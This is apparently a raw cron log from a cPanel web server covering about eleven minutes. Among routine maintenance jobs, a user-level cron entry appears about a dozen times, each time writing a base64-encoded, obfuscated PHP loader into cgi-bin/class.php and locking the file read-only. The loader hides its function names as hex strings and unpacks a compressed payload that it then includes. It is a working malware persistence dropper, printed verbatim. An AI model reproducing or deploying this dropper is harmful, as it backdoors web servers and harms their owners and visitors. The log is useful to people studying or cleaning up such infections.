Sep  2 09:20:01 server CROND[21001]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 09:20:01 server CROND[21007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:20:01 server CROND[21011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:20:01 server CROND[21010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:20:01 server CROND[21014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:20:01 server CROND[21009]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 09:20:01 server CROND[21013]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 09:21:02 server CROND[21852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:21:02 server CROND[21854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:21:02 server CROND[21855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:22:01 server CROND[22271]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:22:01 server CROND[22273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:22:01 server CROND[22272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:23:01 server CROND[22767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:23:01 server CROND[22766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:23:01 server CROND[22768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:24:01 server CROND[23319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:24:01 server CROND[23318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:24:01 server CROND[23320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:25:01 server CROND[23716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:25:01 server CROND[23717]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:25:01 server CROND[23719]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 09:25:01 server CROND[23730]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:25:01 server CROND[23733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:25:01 server CROND[23732]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 09:25:01 server CROND[23734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:26:01 server CROND[24568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:26:01 server CROND[24567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:26:01 server CROND[24569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:27:01 server CROND[24963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:27:01 server CROND[24964]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:27:01 server CROND[24965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:27:01 server CROND[24966]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 09:28:01 server CROND[25412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:28:01 server CROND[25413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:28:01 server CROND[25414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:29:01 server CROND[25897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:29:01 server CROND[25898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:29:01 server CROND[25899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:30:01 server CROND[26286]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 09:30:01 server CROND[26290]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 09:30:01 server CROND[26291]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:30:01 server CROND[26294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:30:01 server CROND[26288]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 09:30:01 server CROND[26289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:30:01 server CROND[26293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:30:01 server CROND[26292]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:31:01 server CROND[27146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:31:01 server CROND[27147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 09:31:01 server CROND[27148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
